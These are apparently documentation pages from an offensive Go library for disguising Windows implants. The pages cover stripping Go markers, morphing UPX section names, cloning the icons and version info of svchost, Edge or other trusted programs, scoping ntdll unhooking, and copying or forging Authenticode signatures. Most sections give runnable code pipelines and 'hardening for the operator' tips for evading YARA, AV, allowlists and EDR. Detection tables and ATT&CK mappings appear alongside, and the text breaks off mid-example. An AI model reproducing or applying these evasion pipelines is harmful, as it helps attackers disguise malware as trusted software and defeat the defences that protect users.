TS --> PCL[WipePclntab<br>zero 32 bytes at each<br>pclntab magic match]
PCL --> RN[RenameSections<br>.gopclntab → .rdata2<br>.go.buildinfo → .rsrc2<br>.noptrdata → .data2]
RN --> OUT[Sanitised PE]
| Primitive | What it touches |
|---|---|
SetTimestamp | IMAGE_FILE_HEADER.TimeDateStamp (4 bytes at PE+8) |
WipePclntab | 32 bytes at every 0xFFFFFFF1 (Go 1.20+) / 0xFFFFFFF0 (Go 1.16+) magic match in the binary |
RenameSections | 8-byte Name field of every matching section header |
Sanitize applies all three with defaults: random recent
timestamp, full pclntab wipe, the canonical .go* →
.{rdata,rsrc,data}2 rename map.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/strip is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — quick sanitise
import (
"os"
"github.com/oioio-space/maldev/pe/strip"
)
raw, _ := os.ReadFile("implant.exe")
clean := strip.Sanitize(raw)
_ = os.WriteFile("implant_clean.exe", clean, 0o644)
Composed — fixed timestamp + custom renames
import (
"time"
"github.com/oioio-space/maldev/pe/strip"
)
raw, _ := os.ReadFile("implant.exe")
raw = strip.SetTimestamp(raw, time.Date(2024, 6, 15, 10, 30, 0, 0, time.UTC))
raw = strip.WipePclntab(raw)
raw = strip.RenameSections(raw, map[string]string{
".gopclntab": ".rdata",
".go.buildinfo": ".rsrc",
".text": ".code",
})
Advanced — garble + strip pipeline
import (
"os"
"os/exec"
"github.com/oioio-space/maldev/pe/strip"
)
func buildAndSanitize() {
_ = exec.Command("garble", "-literals", "-tiny", "build",
"-ldflags", "-s -w -H windowsgui",
"-o", "implant-garbled.exe",
"./cmd/implant",
).Run()
raw, _ := os.ReadFile("implant-garbled.exe")
raw = strip.Sanitize(raw)
_ = os.WriteFile("implant-final.exe", raw, 0o644)
}
See ExampleSanitize.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
YARA rule matching .gopclntab / .go.buildinfo section names | Static scanners; trivially defeated by RenameSections |
YARA rule matching pclntab magic (FF FF FF F1) | Static scanners; defeated by WipePclntab |
| Build-timestamp pinning to a known Go-toolchain release window | Forensic timeline; defeated by SetTimestamp |
| Rich header (Microsoft linker fingerprint) | Not produced by Go's linker — so its absence is itself a tell on Windows-only deployments |
| File entropy / Go-binary size signature | Outside this package's scope; pair with UPX / pe/morph |
D3FEND counters:
Hardening for the operator:
- Run
Sanitizeafter garble so Go-symbol obfuscation lands before the PE-level scrub. - Couple with
pe/morphif the implant is UPX-packed — neither alone defeats both static + entropy detection. - Don't rely on this for behavioural EDR — the binary still acts like Go runtime (large initial allocations, GC pauses, ntdll-heavy IAT).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | partial — header + section-name scrub, no payload encryption | D3-SEA |
| T1027.005 | Indicator Removal from Tools | full — pclntab wipe defeats Go-binary-disassembly tools | D3-SEA |
Limitations
- Not encryption. The binary structure is still a valid PE; behavioural analysis is unaffected.
- Partial pclntab.
WipePclntabzeros 32 bytes per magic match — the rest of the pclntab structure remains, and determined analysts can reconstruct portions. - Cosmetic section renames. Renaming
.gopclntabto.rdata2does not change its contents; entropy still identifies the data inside. - Complementary, not standalone. Pair with garble (symbols), pe/morph (UPX), pe/cert (signature) for layered scrub.
- Malformed PEs may panic. Functions assume well-formed PE input; run on toolchain-emitted binaries only.
See also
- PE morphing (UPX section rename) — pair for packed-binary scrub.
- Certificate theft — clone an Authenticode signature post-strip.
crypto— payload encryption beyond PE-level scrub.hash— verify the hash delta after sanitisation.- Operator path.
- Detection eng path.
PE Morphing (UPX section rename)
TL;DR
Replace UPX section names (UPX0, UPX1, UPX2) with random
bytes so off-the-shelf static unpackers (CFF Explorer, x64dbg's
UPX plugin, IDA's UPX preprocessor) fail to recognise the input.
The runtime UPX stub keeps working because it references offsets,
not the magic. UPXFix reverses the morph for debugging.
Primer
UPX is the most popular executable packer — it compresses
binaries to reduce size. Every UPX-packed binary carries
well-known section names that every antivirus and EDR fingerprint
on contact. pe/morph rewrites those names with random non-zero
bytes, breaking the signature-based unpack pipeline while leaving
the runtime behaviour intact.
The morph is a 24-byte change (three 8-byte section name fields). That is enough to break SHA-256 blocklists entirely, but similarity-hash scans (ssdeep, TLSH) still pin the variant to its parent in the ~95th percentile range — the morph is genuinely shallow, defeating only signature-based static unpacker matching.
How It Works
flowchart LR
INPUT["UPX-packed binary<br>UPX0 / UPX1 / UPX2"] --> SCAN[Scan section table<br>for 'UPX' substring]
SCAN --> RAND[Generate 8 random<br>printable bytes per section]
RAND --> PATCH[Overwrite Name field<br>40-byte section header offset]
PATCH --> OUT[Morphed binary<br>random section names]
The section name field lives at offset 0 of every 40-byte section
header in the section table. The section table itself starts at
COFF_offset + 20 + SizeOfOptionalHeader; each header is 40 bytes;
the Name field is the first 8 bytes. UPXMorph walks the table,
matches names containing "UPX", and overwrites the 8 bytes in
place. UPXFix walks the same table, matches the random bytes
against the expected layout (3 sections, sequential), and
restores the canonical names.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/morph is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — morph an existing UPX binary
import (
"os"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile("payload.upx.exe")
morphed, _ := morph.UPXMorph(raw)
_ = os.WriteFile("payload.morph.exe", morphed, 0o644)
Composed — restore for debugging
restored, _ := morph.UPXFix(morphed)
// upx -d on restored now succeeds
Advanced — fuzzy-hash before/after
Demonstrate the morph defeats SHA-256 but not similarity hashes:
import (
"fmt"
"os"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/pe/morph"
)
raw, _ := os.ReadFile("payload.upx.exe")
sha256Before := hash.SHA256(raw)
ssBefore, _ := hash.Ssdeep(raw)
tlBefore, _ := hash.TLSH(raw)
morphed, _ := morph.UPXMorph(raw)
ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)
fmt.Printf("SHA-256 same? %v\n", sha256Before == hash.SHA256(morphed)) // false
fmt.Printf("ssdeep score: %d / 100\n", ssScore) // ~97
fmt.Printf("TLSH distance: %d\n", tlDist) // ~12
Pipeline — build → pack → strip → morph
exec.Command("garble", "-literals", "-tiny", "build", "-o", "step1.exe", "./cmd/implant").Run()
exec.Command("upx", "--best", "-o", "step2.exe", "step1.exe").Run()
raw, _ := os.ReadFile("step2.exe")
raw = strip.Sanitize(raw)
raw, _ = morph.UPXMorph(raw)
_ = os.WriteFile("final.exe", raw, 0o644)
See ExampleUPXMorph.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
UPX0 / UPX1 / UPX2 literal section names | YARA / EDR static rules — defeated by morph |
| Sequential 24KB+ executable sections + decompression stub | Heuristic UPX detection — not defeated |
| File entropy ~7.99 bits/byte (compressed payload) | Anti-malware entropy scans — unchanged |
Runtime: VirtualAlloc(RWX) + decompression in-place | Behavioural EDR — outside scope; UPX morph only touches the on-disk file |
| ssdeep / TLSH similarity to a known UPX-packed family member | Fuzzy-hash blocklists — only ~24 bytes change, similarity stays high |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/strip(pclntab + section rename) for both Go and UPX scrub in a single pass. - The UPX runtime stub itself is detectable — for higher-effort scenarios swap the stub via a custom packer.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027.002 | Obfuscated Files or Information: Software Packing | partial — UPX header morph defeats signature-based unpackers; entropy + stub remain | D3-SEA, D3-FCA |
Limitations
- UPX-specific. Only targets UPX section names; other packers (Themida, VMProtect, ASPack) are out of scope.
- Superficial. The UPX decompression stub is still present and recognisable by deep analysis — heuristic detectors win.
- Entropy unchanged. High-entropy compressed sections remain detectable by entropy scans.
- Fuzzy hash leak. ssdeep / TLSH similarity stays in the ~95th-percentile range; not safe against family-similarity blocklists.
- Requires valid PE. Malformed input returns an error; no best-effort partial morph.
See also
- PE strip / sanitize — Go-toolchain scrub to pair with morph.
hash— measure the SHA-256 vs fuzzy-hash delta after morph.- Operator path.
- Detection eng path.
PE Resource Masquerade
TL;DR
You want your implant to LOOK like a known Microsoft / Adobe / Mozilla binary in Task Manager, Process Explorer, and the Properties → Details dialog. This package lets you embed a donor's icon, manifest, and version info into your build.
Pick the right mode based on how much customisation you need:
| You want… | Use | Effort | When |
|---|---|---|---|
| Implant to look like one of 13 pre-baked donors (svchost, cmd, msedge, claude, …) | Preset — blank-import the right sub-package | One import _ line | You're fine with stock identities; build is on a host without the donors installed |
| Implant to look like ANY donor PE you have on disk | Clone | ~5 lines + extracted .syso | You need a specific donor (in-house signed binary, region-specific app) |
| Pick fields field-by-field (CompanyName from one source, icon from another) | Extract + Build + With* options | ~15 lines | You're hand-tuning to evade a specific allowlist rule |
| Override a field on top of a preset (e.g., svchost identity but custom Description) | Preset blank-import + Build + With* | One import + ~5 lines | Hybrid case |
⚠ Limit one preset per binary: Windows PEs carry exactly one
RT_MANIFEST resource. Two blank-imports → duplicate-symbol
linker error. The same constraint applies to Build (which
emits a .syso that the linker treats identically).
What this DOES achieve:
- Process Explorer / Task Manager show the cloned identity.
- Properties → Details renders donor's CompanyName / Description / ProductName / OriginalFilename.
- Naive allowlists keyed on those fields pass.
What this does NOT achieve (need extra layers):
- Authenticode signature is unchanged →
signtool verifyfails. Pair withpe/cert. .rdatastrings (runtime.,main.) + Go-shaped imports still betray a Go binary. Pair withpe/strip.- File timestamps still scream "just built". Pair with
cleanup/timestomp.
Primer — vocabulary
Four terms recur on this page:
.syso— Microsoft-style COFF object file the Go linker automatically merges into a binary's.rsrcsection.go buildlooks for*_windows_amd64.syso(or_arm64.syso, etc.) in the imported package directories — no extra build step needed. The preset packages andGenerateSysoboth produce these.VERSIONINFO — the structured binary blob in a PE's resource section that drives the Properties → Details dialog: file version, product version, CompanyName, FileDescription, OriginalFilename, ProductName. Standard Windows tools and allowlists read these fields; Process Explorer surfaces them in its UI.
Manifest — embedded XML declaring the binary's UAC requirements (
asInvokervsrequireAdministrator), DPI awareness, and supported OS versions. AppLocker publisher rules trust this. The preset packages ship two variants per identity to cover the two UAC modes.Icon set —
.ico-style group of icons at multiple sizes (16×16, 32×32, 48×48, 256×256). What File Explorer renders in the file browser and what shows up in alt-tab.
How It Works
flowchart LR
SRC[Source PE<br>e.g. svchost.exe] --> EXT[Extract<br>manifest + icons + VERSIONINFO]
EXT --> RES[Resources struct]
RES --> MUT[optional: mutate fields<br>OriginalFilename / FileVersion / icon]
MUT --> SYSO[GenerateSyso<br>winres COFF emitter]
SYSO --> FILE[resource_windows_amd64.syso]
FILE --> LINK[go build<br>auto-links .syso]
LINK --> OUT[implant .exe<br>with cloned identity]
At build time, go build finds every *_windows_amd64.syso in
an imported package directory and merges its COFF .rsrc section
into the final binary. No external tool is invoked during build.
Available presets
13 identities × 2 UAC variants = 26 packages. Pick one and blank-import:
| Identity | Source EXE | Base (asInvoker) | Admin (requireAdministrator) |
|---|---|---|---|
| cmd | System32\cmd.exe | …/preset/cmd | …/preset/cmd/admin |
| svchost | System32\svchost.exe | …/preset/svchost | …/preset/svchost/admin |
| taskmgr | System32\taskmgr.exe | …/preset/taskmgr | …/preset/taskmgr/admin |
| explorer | Windows\explorer.exe | …/preset/explorer | …/preset/explorer/admin |
| notepad | System32\notepad.exe | …/preset/notepad | …/preset/notepad/admin |
| msedge | Program Files (x86)\Microsoft\Edge\Application\msedge.exe | …/preset/msedge | …/preset/msedge/admin |
| onedrive | LOCALAPPDATA\Microsoft\OneDrive\OneDrive.exe | …/preset/onedrive | …/preset/onedrive/admin |
| acrobat | Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe | …/preset/acrobat | …/preset/acrobat/admin |
| firefox | Program Files\Mozilla Firefox\firefox.exe | …/preset/firefox | …/preset/firefox/admin |
| excel | Program Files\Microsoft Office\root\Office16\EXCEL.EXE | …/preset/excel | …/preset/excel/admin |
| sevenzip | Program Files\7-Zip\7zFM.exe | …/preset/sevenzip | …/preset/sevenzip/admin |
| vscode | LOCALAPPDATA\Programs\Microsoft VS Code\Code.exe | …/preset/vscode | …/preset/vscode/admin |
| claude | LOCALAPPDATA\AnthropicClaude\claude.exe | …/preset/claude | …/preset/claude/admin |
Rules:
- At most one blank-import per final binary. Windows PEs
carry exactly one
RT_MANIFEST(ID = 1); two imports yield a duplicate-symbol linker error. - Pick the UAC variant that matches operational need:
- base (
asInvoker): no UAC prompt, runs with the invoking shell's token — most stealthy. - admin (
requireAdministrator): forces the UAC consent UI. Only when the cloned identity naturally requires elevation (taskmgr, explorer/admin) — a cmd asking for admin is suspicious.
- base (
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/masquerade is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Quick start — make your implant look like svchost.exe
The shortest path: blank-import a preset package. The Go linker
finds the .syso it ships, merges svchost's manifest + icons +
VERSIONINFO into your binary at link time. No code change beyond
the import line; no donor PE needs to exist on the build host.
package main
import (
// The blank import (`_ "..."`) compiles the package for its
// side effect — in this case, exposing the bundled .syso to
// the linker. There is no symbol to call.
_ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
)
func main() {
// Your normal implant logic. Identity is set at link time.
}
After go build -o mybin.exe, inspect what changed:
PS> (Get-Item .\mybin.exe).VersionInfo | Format-List
CompanyName : Microsoft Corporation
FileDescription : Host Process for Windows Services
OriginalFilename : svchost.exe
ProductName : Microsoft® Windows® Operating System
FileVersion : 10.0.22621.3007
What just happened:
- Go's linker scanned the imported
preset/svchostpackage's directory and foundresource_windows_amd64.syso. - It merged that COFF object's
.rsrcsection intomybin.exe. - Windows now reads svchost's resources from your binary's PE.
What still betrays you:
- Authenticode signature is missing.
signtool verifyfails. Addpe/cert.Copyfor the cosmetic signature graft. - Strings in
.rdata(runtime.,main., your import paths) scream "Go binary". Addpe/stripto scrub them. - File mtime is "now". Add
cleanup/timestompto align MFT timestamps with svchost's actual install date.
For the UAC-elevated variant, swap to preset/svchost/admin.
For an entirely different identity, see the
Available presets table.
Simple — preset blank-import (one-liner)
For when you don't need the explanation:
import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
Composed — Clone in a generate step
//go:build ignore
// generator.go — invoked via `go generate`
package main
import "github.com/oioio-space/maldev/pe/masquerade"
func main() {
_ = masquerade.Clone(
`C:\Windows\System32\svchost.exe`,
"resource_windows_amd64.syso",
masquerade.AMD64,
masquerade.AsInvoker,
)
}
Advanced — icon swap with custom VERSIONINFO
Use svchost icons but override every VERSIONINFO field — useful
when an AV cross-checks OriginalFilename against the on-disk
filename.
masquerade.Build("resource_windows_amd64.syso", masquerade.AMD64,
masquerade.WithSourcePE(`C:\Windows\System32\svchost.exe`),
masquerade.WithExecLevel(masquerade.AsInvoker),
masquerade.WithVersionInfo(&masquerade.VersionInfo{
FileDescription: "Host Process for Windows Services",
CompanyName: "Microsoft Corporation",
ProductName: "Microsoft® Windows® Operating System",
OriginalFilename: "svchost.exe",
FileVersion: "10.0.22621.3007",
ProductVersion: "10.0.22621.3007",
}),
)
Pipeline — Clone + cert + strip + timestomp
End-to-end identity scrub: clone svchost identity, graft its Authenticode cert, scrub Go markers, align MFT timestamps.
//go:build ignore
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/pe/cert"
"github.com/oioio-space/maldev/pe/masquerade"
"github.com/oioio-space/maldev/pe/strip"
)
func main() {
const exe = `.\loader.exe`
const ref = `C:\Windows\System32\svchost.exe`
// 1. Generate the .syso (run before `go build`).
if err := masquerade.Clone(ref,
"resource_windows_amd64.syso",
masquerade.AMD64,
masquerade.AsInvoker,
); err != nil {
log.Fatal(err)
}
// (assume `go build` produced `loader.exe` here)
// 2. Strip Go markers.
raw, _ := os.ReadFile(exe)
raw = strip.Sanitize(raw)
_ = os.WriteFile(exe, raw, 0o644)
// 3. Graft the donor's Authenticode cert.
_ = cert.Copy(ref, exe)
// 4. Match MFT timestamps to the donor.
_ = timestomp.CopyFromFull(ref, exe)
}
See ExampleClone
Regenerating presets
# On a Windows host (read-only access to System32 is enough):
go run ./pe/masquerade/internal/gen
The generator is pure Go (uses tc-hib/winres as a library) and
does not modify the host filesystem outside this repository.
Regenerate when:
- A Windows update refreshes icons/metadata of a reference exe.
- Adding a new identity (extend the
identitiesslice inpe/masquerade/internal/gen/main.go). - Adding a new variant (e.g.
highestAvailable).
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Verified: Unsigned from sigcheck /a | Microsoft binaries are always signed; unsigned file claiming Microsoft origin is a high-fidelity signal — pair with pe/cert |
Mismatched OriginalFilename vs on-disk filename | Mature AV (Defender, MDE) cross-checks; rename the on-disk file to match |
| Defender ML heuristics on Go-binary + Microsoft VERSIONINFO | Atypical combination flagged by some ML pipelines; pair with pe/strip |
.rdata strings betraying Go origin (runtime., main., GOROOT paths) | YARA rules; partially mitigated by garble + pe/strip |
| Process Explorer's "Verified Signer" column | Shows (Not verified) when signature is missing |
| AppLocker / WDAC publisher rules | Strict enforcement validates the cert chain — masquerade alone cannot pass |
D3FEND counters:
- D3-EAL — strict allowlisting cross-checks publisher.
- D3-SEA — VERSIONINFO + manifest inspection.
- D3-PA — runtime behaviour rarely matches the cloned identity (svchost doesn't normally make outbound HTTPS to attacker C2).
Hardening for the operator:
- Pair with
pe/certso signature checks no longer fail open. - Pair with
pe/stripso Go fingerprints don't betray the spoof. - Match runtime behaviour to the cloned identity: a "svchost" beaconing every 60 s is more suspicious than a real svchost.
- Match the on-disk filename to
OriginalFilenameand place the binary in a path consistent with the cloned identity (%SystemRoot%\System32\for Microsoft binaries).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036.005 | Masquerading: Match Legitimate Name or Location | full — manifest + icon + VERSIONINFO clone | D3-EAL, D3-SEA, D3-PA |
Limitations
- Metadata only.
.rdatastrings, imports,.textare not modified — this is shallow masquerading. - Signature absent by default. Pair with
pe/certor any defender that checks Authenticode catches the spoof. - Static identity at build time. Each binary carries one identity; runtime swaps would require image rewriting.
- Defender ML edge cases. Some EDRs flag the Go + Microsoft-VERSIONINFO combo as anomalous; test against the target stack.
- Manifest restrictions. Exactly one
RT_MANIFESTper PE — cannot stack two preset imports.
See also
- Certificate theft — pair to defeat signature-presence checks.
- PE strip / sanitize — scrub Go markers post-link.
- PE morph — mutate UPX section names if packed.
cleanup/timestomp— match MFT timestamps to the cloned identity.runtime/clr— CLR hosting blends naturally withmasquerade/svchost.- Operator path.
- Detection eng path.
Credits
- tc-hib/winres — pure-Go
COFF
.rsrcemitter used by the generator.
PE Import Table Analysis
TL;DR
Walk a PE's IMAGE_DIRECTORY_ENTRY_IMPORT and return every
(DLL, Function) pair the binary depends on. Pure Go via
debug/pe — no DbgHelp, no LoadLibrary, runs on any host
parsing any PE. Used to scope unhooking passes, build dynamic
API-resolution payloads, and triage unknown binaries.
Primer
Every Windows EXE or DLL carries a list of the functions it calls from other DLLs — the import table. Reading it tells you exactly which kernel or user-mode APIs the binary relies on without running it. Defenders use this for triage; offensive tooling uses it to scope unhook passes (only restore the Nt* you actually call) and to feed downstream syscall-discovery (extract SSNs from ntdll exports the binary imports).
The package is fully cross-platform — it operates on PE bytes via
the standard library's debug/pe parser, so a Linux build host
can introspect a Windows implant without round-tripping through
Wine or signtool.
How It Works
flowchart LR
A["PE bytes"] --> B["debug/pe.NewFile"]
B --> C["ImportedSymbols<br>walks IMAGE_IMPORT_DESCRIPTOR"]
C --> D{"parse Func then DLL"}
D --> E["List Import<br>DLL + Function"]
E --> F["evasion/unhook<br>or wsyscall SSN extract"]
- Read the PE optional header and locate
IMAGE_DIRECTORY_ENTRY_IMPORT. - Walk each
IMAGE_IMPORT_DESCRIPTOR, followingOriginalFirstThunk(orFirstThunkif the original is zero) to resolve each imported function. - Handle both by-name and by-ordinal entries.
- Return a flat
[]Importslice — callers reshape as needed.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/imports is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — list every import
import (
"fmt"
"github.com/oioio-space/maldev/pe/imports"
)
imps, _ := imports.List(`C:\Windows\System32\notepad.exe`)
for _, imp := range imps {
fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
Composed — filter to ntdll, parse from memory
import (
"bytes"
"github.com/oioio-space/maldev/pe/imports"
)
ntImps, _ := imports.ListByDLL(`C:\loader.exe`, "ntdll.dll")
inMem, _ := imports.FromReader(bytes.NewReader(decryptedPE))
Advanced — unhook only what we actually call
Layered with evasion/unhook so only the Nt* the loader actually
imports get restored — minimal .text write footprint, no
unused-function crumbs for an EDR's integrity checker.
import (
"os"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/pe/imports"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
self, _ := os.Executable()
ntImps, _ := imports.ListByDLL(self, "ntdll.dll")
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
techs := make([]evasion.Technique, 0, len(ntImps))
for _, i := range ntImps {
techs = append(techs, unhook.Classic(i.Function))
}
_ = evasion.ApplyAll(techs, caller)
See ExampleList.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| File-read of a PE | EDR file-access telemetry — but read-only access is exceedingly common; not a useful signal |
Subsequent unhooking write to ntdll .text | Sysmon Event 8 (CreateRemoteThread / ImageWrite); ETW Microsoft-Windows-Threat-Intelligence — the consumer of import data, not import parsing itself |
| YARA on the implant binary's IAT | Static rules against unusual ntdll-import sets — large Nt* lists imply a syscall-driven loader |
D3FEND counters:
- D3-SEA — IAT inspection on submitted samples.
Hardening for the operator:
- Strip unused imports at link time (
-trimpath, garble) so the IAT only carries what the loader genuinely needs. - Do the import walk against the on-disk PE before any unhooking; parsing is invisible.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1106 | Native API | discovery primitive — drives runtime resolution and unhook scoping | D3-SEA |
Limitations
- By-ordinal imports surface as
#<ordinal>strings; resolving ordinals to names requires the target DLL's export table (separate operation). - Bound imports are read straight from the descriptor — the cached resolved address is the value at bind time; current IAT may differ.
- Delay-loaded imports (DELAYIMPORT directory) are not
enumerated by this package; use
debug/pedirectly or wait for first-use resolution. - Manifest-redirected DLLs show their declared name, not the redirect target — useful for IOC matching, not for runtime resolution.
See also
pe/parse— sibling read-only PE walker.win/syscall— consumes the import list to derive SSNs from ntdll.evasion/unhook— primary consumer for scoped unhooks.- Operator path.
- Detection eng path.
PE Certificate Theft
TL;DR
Take the digital signature blob out of a real, signed program
(say, notepad.exe) and paste it into an unsigned implant. The
implant now LOOKS signed in any tool that asks "is there a
signature?" — Properties dialog, naive AV scripts, basic
allowlist checks — even though signtool verify would still
reject it (the signature was made for notepad.exe's bytes,
not yours).
Three layers ship in this package, each adding more realism:
| Tool | What you get | What still fails |
|---|---|---|
Copy | Real Microsoft (or any donor) signature blob in your PE. Properties dialog reads "Microsoft Corporation". | signtool verify says "hash mismatch" — the donor's hash doesn't match your bytes. |
Forge | A self-built cert chain (Leaf → optional Intermediate → Root) wrapped in PKCS#7. You control every field. | Same hash mismatch + chain root is unknown to Windows. |
SignPE | Real Authenticode signature over your PE's actual hash, with a forged chain. signtool extracts the chain cleanly. | Trust-store walk: Windows doesn't recognize your self-signed root. The only way past this is a leaf cert from a CA Windows trusts (stolen / purchased). |
Primer — vocabulary
If you're new to Windows code-signing, three terms recur throughout this page:
WIN_CERTIFICATE — the binary blob (header + PKCS#7 payload) appended at the end of a signed PE. 8-byte header (length / revision / type) + the cryptographic content.
Security directory — entry index 4 in the PE optional-header "data directories". Its
VirtualAddressfield points at where the WIN_CERTIFICATE lives in the file (unusually, this is a file offset, NOT a virtual address — the only data directory that works this way).Authenticode hash — a special SHA-256 of the PE that excludes the parts that change when you sign it (the CheckSum field, the security directory entry, and the certificate table itself). This is what the signature actually attests to — it's why moving a signature between two PEs always fails verification: the hash differs.
PKCS#7 SignedData — the cryptographic envelope inside the WIN_CERTIFICATE: list of certificates + signer info + signature. Authenticode adds Microsoft-specific fields on top (
SpcIndirectDataContentcarrying the Authenticode hash).
How a signature check works
sequenceDiagram
participant App as "Tool checking the file<br>(SmartScreen, AV, signtool, your script)"
participant WT as "WinTrust"
participant PE as "implant.exe"
participant CA as "Trust store<br>(Windows root CAs)"
App->>WT: "is this file signed?"
WT->>PE: read security directory
alt Empty (no WIN_CERTIFICATE)
WT-->>App: NOT_SIGNED
Note over App: A naive script may stop here.
else Has WIN_CERTIFICATE (cert.Copy / Forge / SignPE)
WT->>PE: hash the file (Authenticode hash)
WT->>WT: parse PKCS#7, extract signer + chain
WT->>WT: verify signature matches (hash, key) pair
WT->>CA: walk chain to a trusted root
Note over WT: Each step can fail independently:<br>presence ✓, hash ✗, chain unknown ✗, etc.
WT-->>App: TRUSTED / UNTRUSTED + reason code
end
Naive checks (Properties dialog "Publisher" line, scripts that
only look at (Get-AuthenticodeSignature).Status -ne $null)
stop at the first branch — presence is enough for them.
Defenders that matter (signtool verify /pa, SmartScreen,
AppLocker with publisher rules, EDR file-write telemetry)
walk the full chain.
The package is cross-platform: cert blobs are pure-byte PE
manipulation, no Win32 APIs involved. Use it on a Linux build
host to prepare implants without round-tripping through
signtool.exe.
How It Works
sequenceDiagram
participant Signed as "Signed PE notepad.exe"
participant Tool as "pe/cert"
participant Unsigned as "Unsigned implant"
Tool->>Signed: Read locate security directory
Note over Tool: PE Data Directory 4 - VirtualAddress is file offset, unique among directories
Tool->>Signed: read WIN_CERTIFICATE blob
Tool->>Unsigned: Write pad to 8-byte alignment
Tool->>Unsigned: append cert blob
Tool->>Unsigned: patch security directory entry
Note over Unsigned: Now carries Authenticode cert - signature fails verify, presence checks pass
The PE security directory (data directory index 4) is unique:
its VirtualAddress field is a file offset, not an RVA.
WIN_CERTIFICATE structures are appended after the last section,
8-byte aligned. Read parses the directory entry and returns
the raw blob; Write truncates / appends + patches.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/pe/cert is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Quick start — your first cert graft (read this one)
You have an unsigned implant.exe and you want it to look signed.
The shortest path is to copy a real Authenticode signature from
some trusted Windows binary onto your file. Here Microsoft Edge
is a good donor (it carries a real Microsoft signature in its PE).
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/pe/cert"
)
func main() {
donor := `C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe`
implant := `C:\loader.exe`
// Step 1: confirm the implant has NO signature today.
has, err := cert.Has(implant)
if err != nil { log.Fatal(err) }
fmt.Println("before — has signature?", has) // → false
// Step 2: copy the Edge signature onto the implant.
// Internally: read Edge's WIN_CERTIFICATE blob,
// append it to implant.exe, patch the security
// directory, recompute the optional-header CheckSum.
if err := cert.Copy(donor, implant); err != nil {
log.Fatal(err)
}
// Step 3: confirm the implant LOOKS signed.
has, _ = cert.Has(implant)
fmt.Println("after — has signature?", has) // → true
// Step 4: parse the grafted signature to see who "signed" us.
parsed, err := cert.Inspect(implant)
if err != nil { log.Fatal(err) }
fmt.Println("apparent signer:", parsed.Subject)
// → CN=Microsoft Corporation, O=Microsoft Corporation, ...
}
What this does NOT achieve:
signtool verify /pa C:\loader.exe→0x80096010"hash mismatch". The signature is for Edge's bytes, not yours.- SmartScreen / AppLocker with publisher rules will reject it.
What this DOES achieve:
- File Explorer → Properties → Digital Signatures shows "Microsoft Corporation".
- PowerShell
(Get-AuthenticodeSignature C:\loader.exe).SignerCertificatereturns Microsoft's leaf cert (because the cert IS Microsoft's — only the file it's attached to has changed). - Naive "is this file signed?" allowlists pass.
This is the Copy path: minimum effort, maximum cosmetic.
The two paths below add increasing realism (Forge lets you
control the apparent signer; SignPE actually signs your hash).
Simple — copy a Microsoft cert onto an implant (one-liner)
For when you don't need the explanation:
import "github.com/oioio-space/maldev/pe/cert"
if err := cert.Copy(
`C:\Windows\System32\notepad.exe`,
`C:\Users\Public\implant.exe`,
); err != nil {
panic(err)
}
⚠ notepad.exe on modern Windows is catalog-signed (no
embedded signature) — cert.Copy will return ErrNoCertificate.
Use a third-party signed donor instead (Edge, OneDrive, Acrobat,
Firefox, VS Code, …). See Catalog signing
for why System32 binaries don't carry embedded blobs.
Forge — invent your own cert chain, no donor needed
Copy requires a donor PE you can read. Forge skips that step
by generating a cert chain in pure Go: you pick the publisher
name, organization, validity dates — anything you'd see in the
Properties dialog. The output is wrapped in a SignedData blob and
ready to paste into a PE just like a real donor's blob.
Why use this instead of Copy?
- You control every visible field — useful for impersonating a vendor whose binary you don't have on your build host.
- No dependency on a donor file existing at runtime.
- The chain is uniquely yours — no two implants share a
fingerprint (each
Forgecall generates fresh keys + serials).
What you still don't get (same as Copy): the chain is
self-signed → no Windows root trusts it → signtool verify rejects.
For a chain that signtool parses cleanly (trust-store walk
still fails), use SignPE
instead.
package main
import (
"crypto/x509/pkix"
"fmt"
"log"
"github.com/oioio-space/maldev/pe/cert"
)
func main() {
// Build the chain in memory. Three tiers (leaf → intermediate
// → self-signed root) look more legitimate than two; matches
// real-world publisher → CA → root patterns.
chain, err := cert.Forge(cert.ForgeOptions{
LeafSubject: pkix.Name{
CommonName: "Microsoft Corporation",
Organization: []string{"Microsoft Corporation"},
Country: []string{"US"},
},
IntermediateSubject: pkix.Name{
